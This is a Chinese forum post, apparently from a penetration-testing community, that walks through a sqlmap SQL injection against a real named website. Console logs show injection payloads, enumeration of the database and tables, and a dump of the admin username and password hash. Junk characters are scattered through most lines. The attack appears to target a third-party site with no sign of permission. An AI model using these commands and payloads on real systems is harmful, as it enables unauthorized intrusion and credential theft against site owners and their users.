中国网络渗透测试联盟

标题: sqlmap实例注入mysql [打印本页]

作者: admin    时间: 2013-4-4 22:18
标题: sqlmap实例注入mysql
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
% N  P4 O; M6 c* F( c* J7 A, Oms "Mysql" --current-user       /*  注解:获取当前用户名称
8 r5 s5 ^7 `$ I& G) s# b) H! ^. F    sqlmap/0.9 - automatic SQL injection and database takeover tool4 _7 N+ m$ X+ n4 c* c  L
    http://sqlmap.sourceforge.net
  • starting at: 16:53:54
    ( i* g- T% `9 |% G7 h8 I$ Q* h[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    / K' k& w4 M/ h# o6 d session file
    2 w/ c( e2 o9 Q- ~; l" a( t' ~[16:53:54] [INFO] resuming injection data from session file2 w( a) i7 m0 O: e
    [16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file- `& e; L! A  g% K
    [16:53:54] [INFO] testing connection to the target url+ C7 u# ~0 I( O
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    1 H0 `, u8 X0 M: M: i" tsts:% `5 Y1 e) x8 b
    ---
    6 N. g! C4 l/ v" N5 lPlace: GET) _5 u: R3 w% e- V1 M; h
    Parameter: id
    ( X7 x3 M. c  a9 u" t% I    Type: boolean-based blind
      P$ p. `& A/ f    Title: AND boolean-based blind - WHERE or HAVING clause
    9 ~/ e2 |& d; c$ @    Payload: id=276 AND 799=799
    6 @2 u* G" Y0 `$ n' H    Type: error-based7 @% A3 S* P3 I$ y6 w
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    ; V4 I( o3 p$ A! u' Z3 P( n    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,/ q  E" B& N! W& t" z0 F3 x% R
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    1 I0 U. n% C! y2 K),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    9 m6 y2 u) b5 u# b" R: p* J    Type: UNION query
    7 k+ c# S6 V8 c% ~$ `7 n    Title: MySQL UNION query (NULL) - 1 to 10 columns
    # n: w7 |! Z+ C  y, j    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    1 ?) S1 A+ ^4 B) h(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),+ b; u( C2 u- B% ^* g2 e
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#( e/ G& s; J9 A2 l7 F, T
        Type: AND/OR time-based blind
    # x2 m9 n' C# G" N* k9 v  S    Title: MySQL > 5.0.11 AND time-based blind
    $ q! O: Y& b1 h* l/ P2 a: i    Payload: id=276 AND SLEEP(5)
    3 p- C& x# P2 [5 D/ d3 m7 g---, r( u; P  ]- E# J9 p! ]
    [16:53:55] [INFO] the back-end DBMS is MySQL
    5 O( J$ R) U7 @$ M8 N1 h5 bweb server operating system: Windows
    ; A' n5 g( W5 {* e" }& S" h/ eweb application technology: Apache 2.2.11, PHP 5.3.0, q$ N4 b9 @4 C
    back-end DBMS: MySQL 5.0
    0 ]  m" ?0 O& ?" f1 `$ @[16:53:55] [INFO] fetching current user$ ?  S7 g4 T( Z4 ~$ n% k. M
    current user:    'root@localhost'   0 L* I* Q$ V0 S+ \% H9 ^. p
    [16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou3 `4 ]7 |, o# S; r. x
    tput\www.wepost.com.hk'
  • shutting down at: 16:53:58
    3 r7 N5 }" q1 N$ h$ K# w1 c! E9 r) M5 [3 J
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    * k, d0 b0 H( wms "Mysql" --current-db                  /*当前数据库6 e, s3 i5 U) b( K6 z+ M4 ~6 m( z5 V
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    9 G4 h. O& A5 v7 g$ |- m    http://sqlmap.sourceforge.net
  • starting at: 16:54:161 Q, s, R* y# t3 Z. Y# b" {# G
    [16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    8 h$ j: A  c$ |2 G2 {6 b session file
    8 ?, w# b5 ~# ]6 e[16:54:16] [INFO] resuming injection data from session file. m+ W# N* H0 C4 X* H
    [16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    8 O" M. k3 h; M' A[16:54:16] [INFO] testing connection to the target url
    8 V( o" \0 E/ e* D4 Usqlmap identified the following injection points with a total of 0 HTTP(s) reque
    - W" N. o) C. N% `7 Msts:
    7 Y! n4 @9 P' A  x8 `$ I" W1 H---" [/ g2 [4 r0 n" i
    Place: GET
    - U3 O* {0 [* E' k/ iParameter: id2 O9 ^& T, f# E7 M! ]
        Type: boolean-based blind
    / Z$ Q3 v: V  W9 o    Title: AND boolean-based blind - WHERE or HAVING clause
    " y; e- c8 h8 r5 h. _( {# \    Payload: id=276 AND 799=799
    7 @9 a) ]! h6 }2 o% e    Type: error-based+ o/ A9 w7 u; d* H
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause- \( O2 P; b* {
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,7 L' S  J3 a) u3 S7 a0 o( `
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58* k) |* F* T6 c6 l
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)1 z2 V7 W' x  x. \8 U  ~  O" C
        Type: UNION query, T2 K+ J( I" m  p" H  B+ c
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    / q! {0 q- g8 A! Z1 L' {, H  e  J/ W    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    # Z. b0 h) p8 z* ~8 `. L(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    $ W9 D( F& ~5 y/ h  LCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    ; A" Z# a6 _" L; m    Type: AND/OR time-based blind
    + K* S% f1 {/ j: R    Title: MySQL > 5.0.11 AND time-based blind
    7 e; O/ w$ T+ ~2 W! `1 z/ `: y    Payload: id=276 AND SLEEP(5)  Z" l% F; [5 o8 D* y) V4 D6 G
    ---% j+ K4 E! p* \' K% K: R2 |6 x: {
    [16:54:17] [INFO] the back-end DBMS is MySQL
    + ^  m. z- G  t8 `web server operating system: Windows
    ; |3 k4 {/ H; I/ \' Rweb application technology: Apache 2.2.11, PHP 5.3.0) }5 G7 \, A9 m- p8 j# h) ^, K
    back-end DBMS: MySQL 5.0
    6 n& q; x) q' [5 \$ O6 `! Y# C% B[16:54:17] [INFO] fetching current database4 A6 ?' o/ a# s8 o5 S9 w% F- p
    current database:    'wepost'
    # _9 H7 ]8 _. l) ~( v& o; c; I[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou3 I8 u" a* n3 l9 m; m; ~, @
    tput\www.wepost.com.hk'
  • shutting down at: 16:54:18  k$ U! ?) o4 g% T% V; {
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    * q) N' X: |' Ems "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名. x3 c0 q0 F5 y
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    9 w  w3 }: E0 s3 ~# H# t  |$ C    http://sqlmap.sourceforge.net
  • starting at: 16:55:25
    + s+ G4 ]% k+ L' w[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as6 L7 B# x0 b8 T! M: N: Q
    session file& o5 P. I8 R3 G9 H+ I  M. k
    [16:55:25] [INFO] resuming injection data from session file( f8 q, Y3 }! d6 G' k7 d( l: J
    [16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file$ K" q" j8 Z! y/ X- Y, O6 c
    [16:55:25] [INFO] testing connection to the target url+ u  Q6 z  W  i5 j+ G
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    / l. q# t6 O; W7 p4 _sts:
    # p6 ?2 g( u3 N1 \* Z7 y& ~* b, m---
    8 O7 C: h2 A( n! ~; F$ \Place: GET
    , f! [" ~4 C& h0 S) O' u. `Parameter: id
    7 w1 y: c. ~  A3 V: J" \    Type: boolean-based blind  @7 C% _$ R4 O; ^
        Title: AND boolean-based blind - WHERE or HAVING clause7 o( ]' U6 P5 q% r  Q- e: T
        Payload: id=276 AND 799=799
    . I/ ~4 r* K6 |# {' b( S    Type: error-based6 \8 N1 q& F+ k
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause) N4 p. s& |& y6 v8 v8 K0 c
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,/ g! ]; T" _5 M7 [
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    3 Z5 a% U' i( X6 Z: e),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    & k6 R3 _6 M& o- m4 y  I    Type: UNION query
    ) k( Q) G4 Q( U0 ~- n* _    Title: MySQL UNION query (NULL) - 1 to 10 columns
    * I/ \9 B* G& w- e; h9 m2 X    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    3 e4 U) A4 C( }$ @/ T" _8 M: |(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    % I: E" J3 Z4 D" i. oCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    . e" X4 S6 R& y) n    Type: AND/OR time-based blind
    ' y0 P+ y' m* h0 L; S* |+ H$ `5 Z    Title: MySQL > 5.0.11 AND time-based blind
    . o! p2 H! Z7 Z) k+ h+ F/ I, I    Payload: id=276 AND SLEEP(5)
    * d4 O( \5 B7 `7 z7 S- H5 Z---
    + x1 i5 O0 E& Z- _# G1 x1 d[16:55:26] [INFO] the back-end DBMS is MySQL/ U- b7 c0 H; m4 j. V, R, k' O
    web server operating system: Windows* d% }. }( S( [. Z) j$ }9 K1 `. o
    web application technology: Apache 2.2.11, PHP 5.3.0) Q1 L" X$ }6 n9 Z, c, X
    back-end DBMS: MySQL 5.00 \& Q* N4 J+ ^+ ]& z$ V6 Z
    [16:55:26] [INFO] fetching tables for database 'wepost'
    7 _. b% O& V. y, c/ M+ E8 j7 t0 x[16:55:27] [INFO] the SQL query used returns 6 entries0 M0 Q1 Y" c, W) I, J
    Database: wepost
    1 F% A9 Z, @/ a! ~[6 tables]4 q7 v3 n! Z/ f5 f. L3 I2 {  Z& v
    +-------------+
    3 d: K/ Q- N3 [0 @3 W0 i| admin       |
    8 ]4 N  z  ^7 c$ `' R2 p3 i* H7 \3 q| article     |
    2 N8 r. y' K% ]! n5 n| contributor |
    5 X" x1 K& [4 H2 w% ~' _| idea        |' \% T7 G$ V. o$ o4 ?
    | image       |
      x. v6 Y* ~+ r% x| issue       |$ `& ?9 t2 {* l. ^. n6 L" m$ ^
    +-------------+8 E# u& Y& \' g9 r8 i
    [16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    0 u( J7 l! s/ P$ ktput\www.wepost.com.hk'
  • shutting down at: 16:55:33) @' c  w( ]% W

    / T9 b1 Y0 l) v, UD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    7 c7 k0 L* d; ims "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名' V( _* m7 j) `: U+ P
        sqlmap/0.9 - automatic SQL injection and database takeover tool3 @/ z+ v0 t! v0 Q! W2 n- q/ `& ]
        http://sqlmap.sourceforge.net
  • starting at: 16:56:06' M, Z0 B( \% D- r6 ~
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    % c8 I( B2 S/ e$ c( X" Bsts:. o  h4 p" x9 P/ o  T+ g& _! \" R5 k
    ---
    ! l! B% v* ~; E: o6 cPlace: GET
    5 s+ C9 `2 {. G5 L6 K% }" |  S" |Parameter: id7 L, x9 R) ]6 c( O; U8 o2 s
        Type: boolean-based blind
    - m& o! E$ X' t: |% U. b    Title: AND boolean-based blind - WHERE or HAVING clause" [, q9 ~- X. \9 R+ W% c- M
        Payload: id=276 AND 799=799
    0 t9 t3 w. B+ P6 y' n$ w8 L' ]    Type: error-based1 r. F2 h, P, X
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    $ a5 g/ @( ?+ b0 n    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    ' W5 C  x' c3 X120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& X( x( r7 K  J
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    % y9 {* ~8 d) n0 j. G! Q3 X7 ]$ B4 T    Type: UNION query
    & g( o# C8 R7 R6 a" n& h( U    Title: MySQL UNION query (NULL) - 1 to 10 columns
    . q1 k8 x9 D+ E3 W5 B7 Q    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    - m* H; {' F/ Z5 ?3 Z" b(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    ) h% P$ b: U, Q, gCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    & q; [5 l9 }) j$ |& H0 p) M    Type: AND/OR time-based blind, y! s% W/ l3 M& ?
        Title: MySQL > 5.0.11 AND time-based blind
    ( _9 `" [+ H8 R% Z' L% S$ H7 P    Payload: id=276 AND SLEEP(5)$ M4 l5 v4 S: W' c# N% a% E
    ---( s, r/ ~& y0 L+ z, h
    web server operating system: Windows" l' L2 S# r5 W( L
    web application technology: Apache 2.2.11, PHP 5.3.06 m; q0 F/ J+ X* @1 ^
    back-end DBMS: MySQL 5.09 _4 w# F0 |& Q' _4 R& g
    [16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
    ( Z% B: Q8 c, ~) K7 n8 _% {% g: m' Jssion': wepost, wepost% L6 u3 c5 u* J/ ]/ z' `
    Database: wepost
    " s8 }2 w8 Y( B' r7 c$ Q2 D7 ITable: admin
    5 t! k+ ]- \' s- m[4 columns]! x, T3 d* {5 Q+ d' F
    +----------+-------------+$ B& U" V# l/ D
    | Column   | Type        |+ _7 `9 P) `4 f
    +----------+-------------+
    * W7 b; X4 N5 ^& A9 q1 Z- a1 [| id       | int(11)     |
    ( U% M; O; T) d| password | varchar(32) |
    ; y. I( S8 k9 y* f9 n| type     | varchar(10) |9 f, d8 b+ \2 s- x  L
    | userid   | varchar(20) |" c; W5 n7 ?) l) ?% j& b
    +----------+-------------+
    3 f  K" W' w: B% |" w* y
  • shutting down at: 16:56:19
    $ J; |$ w( d5 Y2 u/ _# X0 z9 X) u6 _2 G0 ?  A. |$ V$ c
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) T8 M' g% n. u$ ~5 p6 p
    ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    9 H6 d( K, X6 x7 p7 B$ t0 M: I    sqlmap/0.9 - automatic SQL injection and database takeover tool
    4 C' n$ }4 K' c& j2 e    http://sqlmap.sourceforge.net
  • starting at: 16:57:14' S( V) p) E% [6 Y  z3 P
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    8 H/ Q( F8 u7 g5 lsts:  A- \- n8 Z  `. g
    ---
    / n: s0 D$ D% I& i; p# SPlace: GET0 ^6 P" B7 V  N1 I' p* L
    Parameter: id) r+ b" t* Q$ X2 O' v* J
        Type: boolean-based blind
      E, [- C$ ?4 o1 W; E" ~4 N    Title: AND boolean-based blind - WHERE or HAVING clause7 O! D: Q7 P2 r/ C/ g' X0 c
        Payload: id=276 AND 799=799( ^9 {$ l8 R9 o; e- }" A. A
        Type: error-based) h( X( B. G) ?! t- V2 Z6 ~
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    + T; q' |. |( e5 r  Z    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,& Q# ?6 a: t/ Y# X
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,584 L. X0 B; K, `1 s' |8 d  Q
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    6 Q9 O3 y4 _/ e3 D/ h5 v    Type: UNION query. I0 j0 b1 }! Q
        Title: MySQL UNION query (NULL) - 1 to 10 columns6 t8 O" a/ \0 {' C& `" v0 n
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR( c- i" \; O$ w/ Z# p
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    - [$ ^$ }9 Q* @1 a, B# LCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#* I+ Y0 }# k6 H, Q) c- {! t
        Type: AND/OR time-based blind
    / K& r7 `1 o9 \$ O$ [  h% [1 p: g9 \    Title: MySQL > 5.0.11 AND time-based blind
    # y) H0 @( F# l0 D    Payload: id=276 AND SLEEP(5)
    , H) t* z! u0 c, I---, U2 Q- h+ n! o, o% D% {1 n8 \
    web server operating system: Windows
    + W6 t( J4 \8 V' G) ?0 Iweb application technology: Apache 2.2.11, PHP 5.3.05 u. v. ~, K% f$ _  G
    back-end DBMS: MySQL 5.0+ t5 W: q& S" `/ m5 _+ A4 S$ H" R3 F
    recognized possible password hash values. do you want to use dictionary attack o5 Y/ Q+ l8 A! b* a1 R
    n retrieved table items? [Y/n/q] y, [# K+ q- z2 k8 o, i3 |% E
    what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]6 n8 M+ c4 L5 z, @1 n
    do you want to use common password suffixes? (slow!) [y/N] y
    1 ?. n- ^0 [- M% xDatabase: wepost6 u3 b$ E; H: G/ g( M. X
    Table: admin
    , H, W; G* ^) `; Z8 d/ V) v* S' |' j[1 entry]$ J5 V% y/ E  l# N. C! Z( W
    +----------------------------------+------------+
    . q; x7 j# Z. f7 S2 U4 d| password                         | userid     |
    9 B' m7 d4 T7 \- ]+----------------------------------+------------+7 S8 @0 T; ^1 Z  n8 l0 ^
    | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |* @9 z% A4 M4 j/ Q  S+ h
    +----------------------------------+------------+4 e# ]+ h4 D" e, `4 s( L. O# q
  • shutting down at: 16:58:14% [+ j/ L' M" u4 p7 h2 s9 h7 v
    * S0 Q' d* J' }. R% ]
    D:\Python27\sqlmap>




    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2